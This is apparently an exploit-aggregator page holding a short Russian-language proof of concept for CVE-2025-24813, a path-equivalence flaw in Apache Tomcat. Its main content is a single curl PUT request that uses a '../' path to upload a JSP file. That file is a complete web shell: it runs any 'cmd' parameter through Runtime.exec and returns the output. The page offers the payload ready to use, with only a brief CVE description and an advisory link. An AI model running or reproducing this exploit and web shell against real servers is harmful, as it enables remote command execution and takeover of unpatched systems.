Sploitus

Exploit for CVE-2025-24813

kitploit · 2026-08-19

Exploit Code

MARKDOWN31 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MUHAMMADWASEEM29-CVE-2025-24813
# CVE-2025-24813 - Уязвимость эквивалентности путей в Apache Tomcat

Apache Tomcat уязвим к проблеме **эквивалентности путей / обхода каталогов** из-за некорректной обработки последовательностей `../` в путях.  
**Идентификатор CVE:** CVE-2025-24813

  * **Серьёзность:** Критическая



**Ссылка:** https://github.com/advisories/GHSA-83qj-6fr2-vhqg

* * *

### Шаги PoC:

**1\. Отправьте запрос`curl` с методом PUT:**

root@kitploit:~
    
    
    curl -X PUT "http://target.com/uploads/../webapps/ROOT/updates.jsp" \
      -H "Content-Type: application/x-jsp" \
      --data-raw '<%@ page import="java.io.*" %>
    <html><body>
    <form method="GET"><input type="text" name="cmd"><input type="submit" value="Run"></form>
    <% if(request.getParameter("cmd") != null) {
    Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String l; while((l=r.readLine())!=null){ out.println(l+"<br>"); } } %>
    </body></html>' -i